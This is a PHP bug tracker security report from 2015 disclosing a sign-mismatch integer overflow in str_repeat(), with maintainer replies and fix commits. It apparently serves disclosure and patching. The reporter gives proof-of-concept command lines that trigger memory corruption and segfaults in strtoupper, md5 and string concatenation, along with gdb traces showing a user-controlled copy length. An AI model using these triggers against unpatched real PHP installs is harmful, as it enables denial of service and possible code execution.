php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #69403 str_repeat() sign mismatch based memory corruption
Submitted: 2015-04-09 06:24 UTC Modified: 2015-05-12 19:39 UTC
From: andrea dot palazzo at truel dot it Assigned: stas
Status: Closed Package: Strings related
PHP Version: 5.4.40 OS: Ubuntu x86_64
Private report: No CVE-ID:
 [2015-04-09 06:24 UTC] andrea dot palazzo at truel dot it
Description:
------------
OVERVIEW
str_repeat() suffers from a sign mismatch based integer overflow that results in creation of corrupted ZVALs; this condition, depending on the context, can be abused to bypass PHP-level checks or trigger any kind of memory error: a successful exploitation of this issue is likely to produce both local and remote code execution vectors.

DETAILS
str_repeat() takes mult as second argument, which represents the number of desired repetitions for the string passed as first argument. Once retrieved, this value is multiplied by input_len and stored into result_len

    /* Initialize the result string */
4907    result_len = input_len * mult;
which then, on line 4930 is passed as argument for RETURN_STRINGL() macro.
It should be noticed that while RETURN_STRINGL() ends up calling ZVAL_STRINGL(), which expects the length argument to be a signed int, result_len is defined as size_t, producing an implicit cast of the actual value.
In situations in which huge memory allocations are possible (most likely 64-bit systems), it is possible to take advantage of this situation overflowing ZVAL_STRINGL's length into a negative value, in order to get a corrupted string-typed ZVAL.
(gdb) r -r 'var_dump(str_repeat("a", 4294967294+1));'

Breakpoint 1, php_var_dump (struc=0x7ffff7f8a188, level=level@entry=1)
    at /build/buildd/php5-5.6.7+dfsg/ext/standard/var.c:88
88	/build/buildd/php5-5.6.7+dfsg/ext/standard/var.c: No such file or directory.
(gdb) p **struc
$7 = {value = {lval = 140732723359792, dval = 6,9531203857753119e-310, str = {
      val = 0x7ffee3fbf030 'a' <repeats 200 times>..., len = -1}, 
    ht = 0x7ffee3fbf030, obj = {handle = 3824939056, 
      handlers = 0x7fffffffffff}, ast = 0x7ffee3fbf030}, refcount__gc = 1, 
  type = 6 '\006', is_ref__gc = 0 '\000'}

EXPLOITATION
The easiest use of this issue could be bypassing PHP-level checks:

$ php -r 'echo strlen(str_repeat("a", 4294967294));'
-2

More interesting scenario comes up when more complex elaborations are applied to a corrupted ZVAL, here I'm gonna list a non-exaustive series of examples which could differ both in severity and exploitability, just to give you an idea.

(gdb) r -r 'strtoupper(str_repeat("a", 4294967294+1));'
Starting program: /usr/bin/php -r 'strtoupper(str_repeat("a", 4294967294+1));'

Program received signal SIGSEGV, Segmentation fault.
__memcpy_sse2_unaligned ()
    at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:37
37	../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S: No such file or directory.
(gdb) x/i $pc
=> 0x7ffff5b2b005 <__memcpy_sse2_unaligned+53>:	movdqu %xmm8,-0x10(%rdi,%rdx,1)

(gdb) p/x $rdx
$15 = 0xffffffff
 <== user controlled
(gdb) p/x $rdi
$16 = 0x7ffff7fc0a70
(gdb) p $xmm8
$17 = {v4_float = {2,59845894e+20, 2,59845894e+20, 2,59845894e+20, 
    2,59845894e+20}, v2_double = {1,2217638442043777e+161, 
    1,2217638442043777e+161}, v16_int8 = {97 <repeats 16 times>}, v8_int16 = {
    24929, 24929, 24929, 24929, 24929, 24929, 24929, 24929}, v4_int32 = {
    1633771873, 1633771873, 1633771873, 1633771873}, v2_int64 = {
    7016996765293437281, 7016996765293437281}, 
  uint128 = 0x61616161616161616161616161616161}



(gdb) r -r 'md5(str_repeat("a", 4294967294-1));'

Program received signal SIGSEGV, Segmentation fault.
body (ctx=ctx@entry=0x7fffffffc5c0, data=data@entry=0x7ffee3fbf030, 
    size=18446744069414182912)
    at /build/buildd/php5-5.6.7+dfsg/ext/standard/md5.c:214
214	/build/buildd/php5-5.6.7+dfsg/ext/standard/md5.c: No such file or directory.


(gdb) r -r 'str_repeat("a", 4294967294+1)."";'

Program received signal SIGSEGV, Segmentation fault.
__memcpy_sse2_unaligned ()
    at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:152
152	../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S: No such file or directory.



Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-05-10 08:36 UTC] stas@php.net
-PHP Version: Irrelevant +PHP Version: 5.4.40 -Assigned To: +Assigned To: stas
 [2015-05-10 08:36 UTC] stas@php.net
Thanks for the report.

The issue with strtoupper seems to be caused by an issue with _extrndup() where there can be an int overflow in emalloc. md5() one seems to be because of incorrect conversion from int to size_t. 

That said, limiting str_repeat so it doesn't overflow int seems to be not a bad idea.
 [2015-05-12 19:40 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c591f022f8abb4c0c2e60a037a0c0c5c5a125957
Log: Fix bug #69403 and other int overflows
 [2015-05-12 19:40 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2015-05-12 22:58 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c591f022f8abb4c0c2e60a037a0c0c5c5a125957
Log: Fix bug #69403 and other int overflows
 [2015-05-13 10:53 UTC] jpauli@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=0a96aa600d1028eda505270366df28e4085a1941
Log: Fix bug #69403 and other int overflows
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Fri Jun 23 15:01:44 2017 UTC